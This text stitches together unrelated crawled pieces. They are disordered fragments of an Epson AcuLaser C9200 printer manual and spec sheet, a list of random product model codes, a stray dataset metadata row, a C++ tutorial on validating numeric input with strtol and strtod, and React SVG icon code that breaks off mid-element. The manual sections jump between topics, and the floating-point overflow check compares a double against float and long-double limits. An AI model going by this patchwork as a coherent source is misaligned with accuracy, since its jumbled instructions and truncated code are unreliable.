The paper path inside the printer may be dusty.
White dots appear in the printout
Cause The paper path inside the printer may be dusty. What to do Clean internal printer components by printing three pages with only one character per page.
Print quality or tone is uneven
Cause Your paper may be moist or damp. What to do Do not store paper in a humid or damp environment.
The paper source setting may not be correct.
There may be no paper in the paper source. The size of loaded paper differs from the control panel or printer driver settings. Too many sheets may be loaded in the MP tray or paper cassettes.
If paper does not feed from the optional paper cassette unit, the unit may not be installed properly. The pickup roller is dirty.
The optional paper cassette may not be installed properly.
Problems Using Options
To confirm your options are installed correctly, print a configuration status sheet. See Printing a Configuration Status Sheet on page 195 for details.
The message Invalid AUX I/F Card appears on the LCD panel
Cause The printer cannot recognize the installed optional interface card. What to do Turn off the printer, then remove the card. Make sure the interface card is of a supported model.
Paper does not feed from the optional paper cassette
Cause The paper guides are not set correctly. What to do Make sure that the paper guides in the optional paper cassettes are set to the correct paper size positions. See Optional Printer Stand and Paper Cassette Unit on page 124 for instructions on installing an optional paper cassette unit. Make sure you have selected the proper paper source in your application. Load paper into the selected paper source. Make sure that you have not tried to load too many sheets of paper. For the maximum paper capacity for each paper source, see MP tray on page 28, Standard lower paper cassette on page 30, and Optional paper cassette unit on page 35. Make sure to set the paper guides in the optional paper cassette correctly.
The optional paper cassette may not be installed properly. The paper source setting may not be correct.
There may be no paper in the paper cassette. Too many sheets may be loaded in the paper cassette.
The paper size is not set correctly.
Feed jam when using the optional paper cassette
Cause The paper is jammed at the optional paper cassette. What to do See Clearing Jammed Paper on page 183 to clear jammed paper.
An installed option cannot be used
Cause The installed option is not defined in the printer driver. What to do For Windows users: You have to make settings manually in the printer driver. See Making Optional Settings on page 217. For Macintosh users: When you have attached or removed options from the printer, you need to start EPSON Status Monitor, or delete and re-register the printer. To delete the printer, use Print & Fax (for Mac OS X 10.5) or Printer Setup Utility (for Mac OS X 10.4 or below). For Mac OS X 10.5 users, you can make the settings manually. Click the Options & Supplies button in Printer & Fax, select the Driver tab, to make the settings manually.
Correcting USB Problems
If you are having difficulty using printer with a USB connection, see if your problem is listed below, and take any recommended actions.
USB connections
USB cables or connections can sometimes be the source of USB problems. For best results, you should connect the printer directly to the computers USB port. If you must use multiple USB hubs, we recommend that you connect the printer to the first-tier hub.
Windows operating system
Your computer must be a model pre-installed with Windows Vista, Vista x64, XP, XP x64, 2000, Server 2003, or Server 2003 x64, or a model that was pre-installed with Windows 2000, Server 2003, or Server 2003 x64, and upgraded to Windows Vista, Vista x64, XP or XP x64. You may not be able to install or run the USB printer driver on a computer that does not meet these specifications or that is not equipped with a built-in USB port. For details about your computer, contact your dealer.
Printer software installation
Incorrect or incomplete software installation can lead to USB problems. Take note of the following and perform the recommended checks to ensure proper installation.
Checking printer software installation
When using Windows Vista, Vista x64, XP, XP x64, 2000, Server 2003, or Server 2003 x64, you must follow the steps in the Setup Guide packed with the printer to install the printer software. Otherwise, Microsofts Universal driver may be installed instead. To check if the Universal driver has been installed, follow the steps below. 1. Open the Printers folder, then right-click the icon of your printer.
2. Click Printing Preferences on the shortcut menu that appears, then right-click anywhere in the driver. If About is displayed in the shortcut menu that appears, click it. If a message box with the words Unidrv Printer Driver appears, you must reinstall the printer software as described in the Setup Guide. If About is not displayed, the printer software has been installed correctly. Note: For Windows 2000, if the Digital Signature Not Found dialog box appears during the installation process, click Yes. If you click No, you will have to install the printer software again. For Windows Vista, Vista x64, XP, XP x64, Server 2003, or Server 2003 x64, if the Software Installation dialog box appears during the installation process, click Continue Anyway. If you click STOP Installation, you will have to install the printer software again.
The printer does not print
Cause The Save as File check box is selected on the Output Options sheet in the Print dialog box (for Mac OS X 10.3.9). An incorrect printer driver is selected. What to do Clear the Save as File check box on the Output Options sheet in the Print dialog box.
Make sure that the PostScript printer driver that you are using to print is selected. Change the mode setting to either Auto or PS3.
The Emulation Menu in the printers Control Panel is set to a mode other than Auto or PS3 for the interface that you are using.
The printer driver or printer that you need to use does not appear in the Print & Fax (for Mac OS X 10.5) or Printer Setup Utility (Mac OS X 10.4 or below)
Cause The printer name has been changed. What to do Ask the network administrator for details, then select the appropriate printer name. Open the Printer Setup Utility, then select the AppleTalk zone that the printer is connected to.
The AppleTalk zone setting is incorrect (for Mac OS X 10.4 or below).
The font on the printout is different from that on the screen
Cause The PostScript screen fonts are not installed. What to do The PostScript screen fonts must be installed on the computer that you are using. Otherwise, the font that you select is substituted by some other font for display on the screen. Specify the appropriate substitution fonts using the Font Substitution Table.
For Windows users only The appropriate substitution fonts are not correctly specified on the Device Settings sheet of the printers Properties dialog box.
The printer fonts cannot be installed
Cause The Emulation menu in the printers Control Panel is not set to PS3 for the interface that you are using. What to do Change the Emulation Menu setting to PS3 for the interface that you are using, then try reinstalling the printer fonts again.
The edges of texts and/or images are not smooth
Cause The Print Quality is set to Fast. The printer does not have sufficient memory. What to do Change the Print Quality setting to Fine. Increase the printer memory.
The printer does not print normally via the USB interface
Cause For Windows users only The Data Format setting in the printers Properties is not set to ASCII or TBCP. What to do The printer cannot print binary data when it is connected to the computer via the USB interface. Make sure that the Data Format setting, which is accessed by clicking Advanced on the PostScript sheet of the printers Properties, is set to ASCII or TBCP. If your computer is running Windows Vista, Vista x64, XP, XP x64, click the Device Settings tab in the printers Properties, then click the Output Protocol setting and select ASCII or TBCP.
Register your printer in Print & Fax (for Mac OS X 10.5) or Printer Setup Utility (for Mac OS X 10.4 or below), click Print on the File menu of any application, then select your printer.
From an application
To set the paper size, select Page Setup or Print from the File menu on any application. To open the Printer Settings, select Print from the File menu on any application.
To confirm the current status of the printer, print a configuration status sheet from the printer driver. 1. Click the EPSONRemotePanel icon from Dock. 2. Select your printer in the EPSONRemoteControlPanel dialog box. 3. Click Status Sheet, and then click Configuration.
Note for Mac OS X 10.4 or below users: To access EPSON Remote Control Panel from Dock for the first time after installing the printer driver, you need to open the print dialog box first.
Changing the Printer Settings
You can change the printer settings, such as paper source, paper type, and print quality. Open the Print dialog box and select Printer Settings from the drop-down list, then select the Basic Settings button (for Mac OS X 10.5) or Basic Settings tab (for Mac OS X 10.4 or below).
You can make various settings in the Extended Settings dialog box, for example Skip Blank Page. Open the Print dialog box and select Printer Settings from the drop-down list, then select the Extended Settings button (for Mac OS X 10.5) or Extended Settings tab (for Mac OS X 10.4 or below).
For Mac OS X 10.5 users 1. Open System Preferences, and then double-click the Print & Fax icon. 2. Select your printer from the Printers list and click Open Print Queue.
3. Click the Utility icon.
For Mac OS X 10.4 or below users Note: After installing the EPSON Status Monitor and before doing the procedure below, you need to open the Print dialog box so the EPSON Status Monitor can display the current status of the printer. 1. Open the Applications folder on your hard disk drive, then open the Utilities folder. 2. Double-click the Printer Setup Utility icon. 3. Double-click your printer from the Name list. 4. Click the Utility icon.
Using the PostScript Printer Driver with Windows
To print in the PostScript mode, you will have to install the printer driver. See the appropriate sections below for installation instructions according to the interface that you are using to print.
Installing the PostScript printer driver for the parallel interface
Caution: Never use EPSON Status Monitor and PostScript 3 driver at the same time when the printer is connected via a parallel. For Windows 2000, click Start, point to Settings, and click Printers. Then double-click the Add Printer icon. For Windows Vista, Vista x64, XP, click Start, point to Printer and Faxes, and click Add a printer in the Printer Tasks menu. 3. The Add Printer Wizard appears. Then click Next. 4. Select Local printer, then click Next. Note: Do not select the Automatically detect and install my Plug and Play printer check box. 5. Select LPT1 as the port the printer is connected to, then click Next.
6. Click Have Disk and specify the following path for the CD-ROM. If your CD-ROM drive is D:, the path will be D:\ADOBEPS\ENGLISH\PS_SETUP Then click OK. Note: Change the drive letter as needed for your system. 7. Select the printer, then click Next. 8. Follow the on-screen instructions for the rest of the installation. 9. When installation is done, click Finish.
Installing the PostScript printer driver for the USB interface
Caution: Never use EPSON Status Monitor and PostScript 3 driver at the same time when the printer is connected via a USB. Connect your computer to the printer with a USB cable, then turn on the printer. Note for Windows Vista users: Without the Windows driver or the Adobe PS driver, the display shows Found New Hardware. In this case, click Ask me again later. 3. For Windows Vista, Vista x64, XP or XP x64, click Start, point to Printer and Faxes, and click Add a printer in the Printer Tasks menu. For Windows 2000, click Start, point to Settings, and click Printers. Then double-click the Add Printer icon. 4. The Add Printer Wizard appears. Then click Next.
4. Follow the instructions as appropriate below to select your printer. AppleTalk Select your printer from the Name List, then select Auto Select from the Printer Model List. IP Printing Select Epson from the Name List, then select your printer from the Printer Model List. USB Select your printer from the Name List, then select your printer from the Printer Model List. Note for Mac OS X 10.4 or below users: If ESC/Page driver is not installed, your printer model is automatically selected in the Printer Model List when you select your printer from the Name List while the printer is on. Bonjour (Rendezvous) Select your printer, the printer name is followed by (PostScript), from the Name List. Your printer model is automatically selected in the Printer Model List. Note for Bonjour (Rendezvous) users: If your printer model is not automatically selected in the Printer Model list, you need to reinstall the PostScript printer driver. See Installing the PostScript printer driver on page 244. 5. Click Add. Note for IP Printing users, USB or Bonjour (Rendezvous) users: Select your printer from the Printer list, then select Show Info from the Printers menu. The Printer Info dialog box appears. Select Installable Options from the pop-up list, then make the necessary settings. 6. Confirm that your printers name is added to the Printer List. Then quit Print & Fax (for Mac OS X 10.5) or Printer Setup Utility (for Mac OS X 10.4 or below).
Changing the printer setup settings
You can change or update the printer setup settings according to the options installed in your printer.
RITech:
1. Access the printer driver. The Printer List window appears. 2. Select the printer from the list. 3. Select Show Info from the Printers menu. The Printer Info dialog box appears. 4. Make necessary changes to the settings, then close the dialog box. 5. Quit Print & Fax (for Mac OS X 10.5) or Printer Setup Utility (for Mac OS X 10.4 or below).
Chapter 11
About the PCL5/PCL6 Printer Driver
Minimum memory 128 MB* (for a simple print job at 600 dpi)
Recommended memory 256 MB* or more
Printing may not be possible with this amount of memory, depending on the specifics of the job being printed.
OS Microsoft Windows Vista, Vista x64, XP, XP x64, Server 2003, Server 2003 x64, or have installed the 2000 Service Pack 3 or later.
For Windows Vista
Minimum Computer IBM PC series or IBM compatible with PentiumIII 800MHz or higher CPU 10-25 MB free (for driver installation) 512MB Super VGA supporting 512 MB DirectX 9 with 32MB graphics memory or more Recommended IBM PC series or IBM compatible with PentiumIII 1GHz or higher CPU
Hard Disk Memory Display
For Windows Vista x64
Epson India Regional Offices:
Location Mumbai Delhi Chennai Kolkata Hyderabad Telephone number 022-28261515 /16/17 011-30615000 044-30277500 033-22831589 / 90 040-66331738/ 39 Fax number 022-28257287 011-30615005 044-30277575 033-22831591 040-66328633
Location Cochin Coimbatore Pune Ahmedabad
Telephone number 0484-2357950 0422-2380002 020-30286000 /30286001/30286002 079-26407176 / 77
Helpline
For Service, Product info or to order a cartridge - 18004250011 (9AM - 9PM) - This is a Toll-free number. For Service (CDMA & Mobile Users) - (9AM - 6PM) Prefix local STD code
Help for Users in the Philippines
To obtain technical support as well as other after sales services, users are welcome to contact the Epson Philippines Corporation at the telephone and fax numbers and e-mail address below: Phone: Fax: E-mail: (63) 2-813-6567 (63) 2-813-6545 epchelpdesk@epc.epson.com.ph
World Wide Web () Information on product specifications, drivers for download, Frequently Asked Questions (FAQ), and E-mail Enquiries are available. Epson Helpdesk (Phone: (63) 2-813-6567) Our Hotline team can help you with the following over the phone: Sales enquiries and product information Product usage questions or problems Enquiries on repair service and warranty
Anti-copy (copy protection) function how to use (Windows)..72 AUX menu...95 Available paper...252 panel settings...79 parallel...92 password config...105 PCL...95 printing...85 PS3...97 quick print job...92, 120 reserve job data..119 reset...91 setup...87 system information...84 tray...84 USB...94
Bookmark menu...106
Canceling printing..122, 210 Clock menu...92 CompactFlash memory how to install...156 how to remove...158 specifications...259 Confidential Job menu..92, 120 Consumable products Replacing...160 Consumables specification (photoconductor unit)..259 specification (toner cartridge)..259 specification (waste toner collector)..260 Contacting Epson..261 Control panel...122 overview...25 Control panel menus about....79 AUX...95 bookmark..106 clock...92 confidential job...92, 120 emulation...85 ESCP2...98 FX...100 how to access...79 I239X...102 information...81 network...95
Duplex printing..53 Duplex Unit how to install...137 how to remove...144 specifications...258
Emulation menu...85 EPSON Status Monitor Accessing EPSON Status Monitor (Macintosh).231 Accessing EPSON Status Monitor (Windows).220 Installing EPSON Status Monitor (Windows)..218 Job Information (Macintosh)..235 Job Information (Windows)..223 Notice Settings (Macintosh)...236 Notice Settings (Windows)..225 Order Online...227 Replacement Parts information (Macintosh).234 Replacement Parts Information (Windows).222 Status (Macintosh)..233 Status (Windows)...221 ESCP2 menu..98 Ethernet...257
High performance A3 colour laser printer for business and graphic art needs Add quality, versatility and value to your A3 printing with the Epson AcuLaser C9200 Series. Create superb prints in colour and black & white at up to 26 ppm and share high performance printing across a network.
Take your business printing to new levels with the Epson AcuLaser C9200 Series. Maximise speed and quality on everything from A4 office print outs to A3 rich colour graphics with Epson ASIC and Epson Resolution Improvement Technologies. The ideal A3 colour laser: one of the highest print quality and colour accurate printers on the market thanks to Epson Resolution Improvement Technology Speed without compromising quality: print up to 26 ppm with fast processing from Epson ASIC technology Comprehensive connectivity: standard Ethernet 10/100 Base Tx, Hi-Speed USB, Parallel and optional Type B interfaces Extensive language support: genuine Adobe PostScript 3, PCL6, PCL5C, PDF1.6 and ESC/Page as standard Flexible paper handling: print on a range of media up to A3F, with a paper capacity from 350 to 1,850 sheets Upgrade to suit your needs: with optional duplex* and up to 3 x 500 sheet paper cassette units** Standard RAM: 256MB expandable to 768MB. Extra memory and advanced functions thanks to CompactFlashTM support Handles jobs of any size: faster ripping and first page out with latest Epson technologies including MIT Memory management technology
* Standard on the Epson AcuLaser C9200DN and Epson AcuLaser C9200D3TNC ** Standard on the Epson AcuLaser C9200D3TNC
Key benefits: Superb quality at high-speed, up to 26 ppm in colour and black & white Comprehensive connectivity and printer languages including genuine Adobe PostScript 3 Versatile paper handling on a range of media from 350 up to 1,850 sheets Preconfigured models include Epson AcuLaser C9200N, Epson AcuLaser C9200DN, Epson AcuLaser C9200DTN, Epson AcuLaser C9200D3TNC
Epson AcuLaser C9200 Series Print features
Resolution Print speed First page out Warm up time Maximum monthly volume 2400RIT (Epson Resolution Improvement Technology) 26 ppm in A4 Mono and Colour, 13 ppm in A3 Mono and Colour A4 Colour: 11.4 seconds, Mono: 8.1 seconds 109 sec or less 150,000 pages 600 Mhz 256MB / 768MB Genuine Adobe Postscript 3, PCL5c, PCL6, PDF1.6, ESC/Page-Color, ESC/Page, FX, ESCP2, I239X Scalable: 84 ESC/Page, 95 PCL5c, 80 PCL6, 136 PS3 Bitmap: 7 ESC/Page, 5 PCL5c, 1 PCL6 Typeface: 10 ESC/P2, 8 FX, 8 I239X Ethernet interface (100Base-TX/10Base-T) USB 2.0HS interface Parallel interface (IEEE 1284 compliant) Type-B, CompactFlash interface TCP/IP: LPR, FTP, IPP, PORT2501, PORT9100, WSD Microsoft Network: Net BIOS over TCP/IP, Net BIOS over NetBEUI NetWare: Standby, NDS Print Server, Bindery Print Server, Remote Printer AppleTalk TCP/IP: SNMP, HTTP, TELNET, DHCP, BOOTP, APIPA, PING, DDNS, mDNS, SNTP, SSDP, ENPC,SLP, WSD, LLTD Microsoft Network: Auto-IP, SSDP MS Network (NetBEUI): SNMP, ENPC NetWare: SNMP AppleTalk: SNMP LCD 22 digits x 5 lines 350 sheets (250 sheet Standard Cassette, 100 sheet MP Tray) 1850 sheets (250 sheet Standard Cassette, 100 sheet MP Tray, 3x500 sheet Optional Paper Cassette) A3, A4, A5, B4, B5, Letter, HLT, Legal, B, GLG, GLT, EXE, F4, A3F, custom (width: 90-311.2 mm, length: 139.7-1200 mm), Envelopes (Monarch, Com #10, DL, IB5, C5, C6), Transparency, Labels 64-256 g/m Duplex Unit, 500 sheet paper cassette (up to 3 can be fittted) 500 sheet AC 220-240 V: 50 Hz/60 Hz, Max: 8.0A Printing: 576Wh, Standby: 146Wh, Sleep: 11Wh, Off: 0Wh
Controller specifications
477 mm
Processor speed Memory (standard/max) Printer control language emulations Resident typefaces
Interfaces and connectivity
Standard interfaces
823 mm
Optional interfaces Network printing protocols
Network management protocols
Control panel
Media handling
Standard paper input Maximum paper input Paper size
Model configurations Epson AcuLaser C9200N C11CA15011BZ Main model C11CA15011BY Epson AcuLaser C9200DN Main model + Duplex unit Epson AcuLaser C9200DTN C11CA15011BX Main model + Duplex Unit + 500 sheet paper cassette unit Epson AcuLaser C9200D3TNC C11CA15011BW Main model + Duplex Unit + 3 x 500 sheet paper cassette unit + printer stand
Paper weight Optional paper handling Paper output
printer stand
Power requirements
Rated voltage/frequency/current Power consumption Hardware languages System requirement Windows support
System requirement and OS support
PC: Ethernet, USB or Parallel Port, MAC: EtherTalk or USB Port Microsoft Windows 2000 / XP / Server 2003 / Microsoft Windows Vista / XP x64 Edition / Server 2003 x64 Edition / Vista x64 Edition Mac OS 10.3.9 and higher For compatibility please refer to Printer Driver, Epson Status Monitor, Reference Guide Network Utilities, Network Guide Epson AcuLaser C9200N: 823x608x477 mm, 49.5 Kg 500 sheet Paper Cassette Unit: 577x548x168 mm, 14.8 Kg Duplex Unit: 100x440x336 mm, 2.8 Kg Printer stand: 535x508x96 mm, 8.5 Kg Operation: 10 to 35 C / Storage: 0 to 35 C Operation: 15 to 85% RH / Storage: 10 to 80% RH Operating: 7.25B (A); Standby: 5.3 B (A) Operating: 52dB (A); Standby: 40dB (A) Low Voltage Directive 2006/95/EC EN60950-1, EN60825-1 GOST-R (IEC60950-1, IEC60825-1) EMC Directive 2004/108/EC, EN 55022 Class B, EN 55024, EN 61000-3-2, EN 61000-3-3, GOST-R (CISPR 22) 1 year on-site Extension to 3 years (ECPGRP100)
Mac support Linux/Unix/Citrix/SAP/Novell support
Additional software
Drivers and manuals Software Hardware
Dimensions and weight (WxDxH mm, Kg) Options
C12C802502 C12C802512 C12C847202
Environmental conditions
Temperature Humidity Sound power Sound pressure
Safety and regulations
Safety standards EMC/EMI
Supplies Toner Cartridge (Yellow) 14,000 pages* Toner Cartridge (Magenta) 14,000 pages* Toner Cartridge (Cyan) 14,000 pages* Toner Cartridge (Black) 21,000 pages* Photoconductor Unit (Yellow) 30,000 pages* Photoconductor Unit (Magenta) 30,000 pages* Photoconductor Unit (Cyan) 30,000 pages* Photoconductor Unit (Black) 50,000 pages* Waste Toner Collector 21,000 pages*
C13S050474 C13S050475 C13S050476 C13S050477 C13S051175 C13S051176 C13S051177 C13S501178 C13S050478
Warranty
Standard warranty Optional warranty
Options 500-Sheet Paper cassette unit Duplex unit Printer Stand 128MB additional Memory 256MB additional Memory 512MB additional Memory
For more information please contact
C12C802502 C12C802512 C12C7012079 7104195
C9200 1GB 7104792 08/08
Telephone: E-mail: Chat: Fax:
6702 (UK) 7742 (Republic of Ireland) enquiries@epson.co.uk etalk.epson-europe.com 6740
* Figures are approximate and are based on the number of A4 sheets printed at 5% coverage under conditions of continuous printing. Intermittent use may reduce page yield.
Trademarks and registered trademarks are the property of Seiko Epson Corporation or their respective owners. Product information is subject to change without prior notice.
SR8500 CC3000 DP-8000 400 EXC Gz-mg57 FS 20 GT-B5310 SRU520 SG-9500 BC-838 Plus MM008V2 37S81B 150 ST W18TCM-nb60 Ultralight DX1 RX-5060 Escape-2002 NW-S703F CVP-305-CVP-303-cvp-301 H5555 WF210ANW PDP-5080XA 1200 RST M1610N AX423R CU-E9jke3 DEQ224 Partner Mail STR-DA5000ES S760GXM-USG QC5055 00 KX-TCD300 Arxxf 129 NX6330 X700HNA Techwood PL68 GPS-3V4 Inspiron 2650 S8100 FD Ftxg25EV1BW Go 520 105 X Motorola M900 GEB-7 LN26A330 M2N8-VMX G-DEC Is G CT-16 ICN510-520-smartst2005 AVR-4802 MB-394A Repeat 3100 Geotrax ICC21-codestelecommande WD-80250NP Avic-X1R Gpsmap 4012 P405M Futaba 3PL EW660F AG-RT600A Printer Env06 C4100 Z5530 MN Wagner W20 CK136T Pioneer PL-7 CM2 146 RSA1ntpe HX2410 G2719N 112W140 Minolta 7272 Control 2 E-300 Ecfwdeb6 SC-CH530 SV-640F KX-TG7100FX Price AJ-PD900W LE40B650 NP-R40plus CDA-9857 VGN-FZ31J TX-DS656 Cleaner BM1308 LS120CP PSR-22 L72810 RX-V1 Neobio 15R Pulsar Y182 TP1800 SU-V6X KX-FC195GRG DJ-X10 Altos G530 | http://www.ps2netdrivers.net/driver/epson.aculaser.c9200/ | crawl-003 | refinedweb | 7,045 | 64.61 |
Before we get any source code let us see the synopsis and descriptions of strtol() and strtod() functions.
strtol()
Header required : stdlib.h in C or cstdlib in C++.
Synopsis : long int strtol(const char *nptr, char **endptr, int base);
Description : The strtol() function converts the initial part of the string in nptr to a long integer value according to the given base, which must be between 2 and 36 inclusive..
strtod()
Header required : stdlib.h in C and cstdlib in C++
Synopsis : double strtod(const char *nptr, char **endptr);
Description : The strtod() functions convert the initial portion of the string pointed to by nptr to double.
The string may begin with an arbitrary amount of white space followed by a single optional '+' or '-'.
Now it is time to get the code.
Integer validation :
#include <iostream> #include <cstdlib> #include <climits> #include <cerrno> #include <string> using namespace std; bool intInputValdation(string Str) { char *endPtr; if (Str.empty()) { // If the string does not contain any thing return false; } errno = 0; // errno is Last error number. It is set to zero at program startup, and certain // functions of the standard C/c++ library modify its value to some value different // from zero to signal some types of error. long Value = strtol(Str.c_str(), &endPtr, 10); // strtol() function convert string to long // check if there is any overflow or underflow if ((errno == ERANGE && (Value == LONG_MAX || Value == LONG_MIN)) || (errno != 0 && Value == 0)) { // ERANGE is range error //. return false; } // check whether input string contain any character else if (endPtr == Str || *endPtr != '\0') { // If endptr is not NULL, strtol() stores the address of the first invalid character // in *endptr. If there were no digits at all, strtol() stores the original value of // Str in *endptr (and returns 0). In particular, if *Str is not '\0' but **endptr // is '\0' on return, the entire string is valid. return false; } return true; // otherwise correct input } int main() { string inputString; long inputLong; char *endPtr; cout << " Enter an integer : "; getline(cin, inputString, '\n'); cout << endl; if (intInputValdation(inputString)) { inputLong = strtol(inputString.c_str(), &endPtr, 10); cout << " You have entered : " << inputLong; } else { cout << " Invalid input."; } cout << endl; cin.get(); return 0; }
Floating point number validation :
#include <cstdlib> #include <cmath> #include <cerrno> #include <iostream> using namespace std; double getFloatNumber() { double Value; bool correctInput = false; while(!correctInput) { char *endPtr; string Str; Value = 0; cout << "\n"; cin.sync(); cout << " Enter a Number : "; getline(cin, Str, '\n'); cout << "\n"; if (Str.empty()) { correctInput = false; cerr << " Input is empty." << endl; } else { errno = 0; Value = strtod(Str.c_str(), &endPtr); // strtod() function convert string to double // check if there is any overflow or underflow if ((errno == ERANGE && (Value == HUGE_VALF || Value == HUGE_VALL)) || (errno != 0 && Value == 0)) { cerr << " Numerical result out of range." << endl; correctInput = false; } // check whether input string containg any character else if (endPtr == Str || *endPtr != '\0') { cerr << " Invalid input." << endl; correctInput = false; } // otherwise correct input else { correctInput = true; } } } return Value; } int main() { cout << " You have entered : " << getFloatNumber() << endl << endl; return 0; }
Note :
- In the first code the base is set to 10, so this code will validate decimal number only.
- In the second code an infinite loop is used to operate the validation function and this way the loop will not terminate until it get a proper input. It can be written as the first code without while(1).
- The second code is not commented since there will be the same comments as the first one.
- LONG_MAX and LONG_MIN are from the header climits, errno and ERANGE are from header cerrno and HUGE_VALF and HUGE_VALL are from header cmath.
- There two codes after little modification can be used as C codes.
Hope these will help to validate input. | http://www.dreamincode.net/forums/topic/162924-input-validation-of-integer-and-floating-point-number-using-strtol-a/ | CC-MAIN-2017-04 | refinedweb | 609 | 63.8 |
A Color Picker
This color picker behaves just like the ones in the "Appearance" tab of the Display properties dialog. Here is how the button looks like:
It is very easy to use.
How to include in your project
- Copy ColorBtn.cpp and ColorBtn.h into your project directory.
- Copy ColorBtn.rc into your res directory.
- Add this line to your rc2 file:
#include "ColorBtn.rc"
- Add ColorBtn.cpp to your project.
How to use
- Create a button on your dialog. Mark it as "Owner Draw".
- Declare a variable in your dialog class, like this:
CColorBtn colorbtn;
- At OnInitDialog, call SubclassDlgItem, like this:
colorbtn.SubclassDlgItem(IDC_BUTTON,this); // Use your button ID here
- Repeat the process for each button you want. You'll end up with as many member variables as buttons.
You can set and read the selected color using the "currentcolor" member variable.
How to make your color table persistent
When the buttons start up, the color table is set to the standard 20 static colors. After using them for a while, those colors might have changed. If you want to preserve the modified color table, follow one of the these procedures.
In a single application, all buttons share a single color table. Because of this, you don't have to do this for each button. Just use the static version of the desired function once (e.g. call CColorBtn::Load()).
There are two ways to make your color table persistent. Application-wise and Document-wise.
Application-wise means that you store the color table in the registry. This way, all documents share the same color table. CColorBtn provides two static functions to do this:
- CColorBtn::Load()
Gets the colors from the registry
- CColorBtn::Save()
Stores the colors in the registry
These functions require that you call SetRegistryKey() before using them.
Document-wise means that you store the color table in a file along with the rest of the document data. This way, each document has its own color table. Note that even in Document-wise fashion, all the buttons you use in a single application share their color table (this was at the artists' petition, I don't know, they seem to like it this way). CColorBtn provides two functions to do this:
- Serialize(CArchive &ar)
Serializes the color table, you call this in your document's Serialize() function.
- Reset()
Resets the color table back to the standard 20 static colors. You call this in your document's OnNewDocument() function.
It's Fantabulous!!!Posted by Legacy on 01/06/2004 12:00am
Originally posted by: C++ Lover
You are wonderful :)Posted by Legacy on 09/26/2003 12:00am
Originally posted by: JokerHata
Thanks!Posted by Legacy on 05/20/2003 12:00am
Originally posted by: Petras
Thank you, you saved me some time too :)Reply
Nice! & Thanks!Posted by Legacy on 03/04/2003 12:00am
Originally posted by: Shin Hyun Sup
Thanks!Reply.
support for multiple monitors...Posted by Legacy on 06/12/2002 12:00am
Originally posted by: rakka rage
when i use this control on my second monitor the popup appears at the edge of my first monitor. i was wondering if anyone has resolved this problem?
thanks.Reply
The right place to call colorbtn.SubclassDlgItem(IDC_BUTTON1,this);Posted by Legacy on 04/25/2002 12:00am
Originally posted by: Rick yu
I believe that the virtual function virtual "void PreSubclassWindow()" of CDialog is the right place to call colorbtn.SubclassDlgItem(IDC_BUTTON1,this).
Enjoy!
By the way, the colorpick class is great! Thank you, Luis Ortega. You are really someone!Reply
Using this control in a CDialogBarPosted by Legacy on 04/23/2002 12:00am
Originally posted by: marcela
Hide memberPosted by Legacy on 02/15/2002 12:00am
Originally posted by: Enrico S. Penetti
Very nice ColorButton.
I have a suggestion for your Button, to handle the color outside button not with the member from the button.
Make the variable COLORREF currentcolor protected and overload the operator = and COLORREF like
operator=(const COLORREF &color)
{
currentcolor = color;
}
operator COLORREF()
{
return currentcolor;
}
Then you can use the Button as follows:
COLORREF color = DEFAULT_COLOR;
CColorBtn m_btnColor = color;
...
color = m_btnColor;
sincerelyReply
Enrico | http://www.codeguru.com/cpp/controls/buttonctrl/article.php/c2089/A-Color-Picker.htm | CC-MAIN-2014-41 | refinedweb | 695 | 58.08 |
="main"></div>
html, body { background: #EAD4BB; } .office { margin: 10px 20px; } .cls-1 { fill: #cccbca; } .cls-2 { isolation: isolate; } .cls-3 { fill: #2179c1; } .cls-13, .cls-4 { fill: #fff; } .cls-14, .cls-5 { fill: #474f59; } .cls-6 { fill: #353f49; } .cls-7 { fill: #d9d8d7; } .cls-8 { fill: #f77b55; } .cls-9 { fill: #76d0de; } .cls-11 { fill: #f2f2f2; } .cls-12 { fill: #232e38; } .cls-13 { opacity: 0.23; } .cls-14 { mix-blend-mode: screen; } .cls-15 { fill: #ee643c; }
// App const App = React.createClass({ render() { return ( <div> <IconOffice /> <IconOffice width="200" height="200"/> </div> ) } }); // Icon const IconOffice = React.createClass({ getDefaultProps() { return { width: '100', height: '200' }; }, render() { return ( <svg className="office" xmlns="" width={this.props.width} height={this.props.height} <title id="title">Office Icon</title> <g className="cls-2"> <circle id="background" className="cls-3" cx="94.2" cy="94.2" r="94.2"/> <path className="cls-4" d="M50.3 69.8h10.4v72.51H50.3z"/> <path className="cls-5" d="M50.3 77.5h10.4v57.18H50.3z"/> <path className="cls-6" d="M60.7 77.5h38.9v57.19H60.7z"/> <path className="cls-7" d="M60.7 69.8h38.9v7.66H60.7z"/> <path className="cls-5" d="M60.7 134.7h38.9v7.66H60.7z"/> <g> <path className="cls-4" d="M19.7 105h75.9v12.95H19.7z"/> <path className="cls-8" d="M28.4 105h58.5v12.95H28.4z"/> <path className="cls-4" d="M37.7 112.2h39.9v1.73H37.7zM37.7 109h19.9v1.73H37.7z"/> <g> <path className="cls-9" d="M15.7 132.3h83.9v10.07H15.7z"/> <path className="cls-4" d="M30.1 132.3h7.2v10.07h-7.2zM25.3 132.3h2.4v10.07h-2.4zM78 132.3h7.2v10.07H78zM87.6 132.3H90v10.07h-2.4z"/> </g> <g> <path className="cls-6" d="M92.6 118.8a3.1 3.1 0 0 0-2.2-.9H21.8v1.8h68.6a1.3 1.3 0 0 1 1.3 1.3v8.1a1.3 1.3 0 0 1-1.3 1.3H21.8v1.8h68.6a3.1 3.1 0 0 0 3.1-3.1V121a3.1 3.1 0 0 0-.9-2.2z"/> <path className="cls-4" d="M23.6 130.4v-10.7h66.8a1.3 1.3 0 0 1 1.3 1.3v8.1a1.3 1.3 0 0 1-1.3 1.3H23.6z"/> <path className="cls-1" d="M90.4 119.7H57.6v10.7h32.8a1.3 1.3 0 0 0 1.3-1.3V121a1.3 1.3 0 0 0-1.3-1.3z"/> <g className="cls-10"> <path className="cls-4" d="M57 119.2h36.5v.52H57z"/> <path className="cls-11" d="M57 120.3h36.5v.52H57zM57 121.5h36.5v.52H57zM57 122.6h36.5v.52H57zM57 123.7h36.5v.52H57zM57 124.8h36.5v.52H57zM57 126h36.5v.52H57zM57 127.1h36.5v.52H57zM57 128.2h36.5v.52H57zM57 129.3h36.5v.52H57z"/> <path className="cls-4" d="M57 130.4h36.5v.52H57z"/> </g> <path className="cls-8" d="M83.4 127.6h-4.5v9.9l2.2-2.2 2.3 2.2v-9.9z"/> </g> </g> <g id="lamp"> <path className="cls-5" d="M144.156 132.726l38.352-49.98 3 2.3-38.353 49.98z"/> <path className="cls-5" d="M142.672 38.69l2.94-2.406 39.884 48.728-2.94 2.407z"/> <circle className="cls-12" cx="183.2" 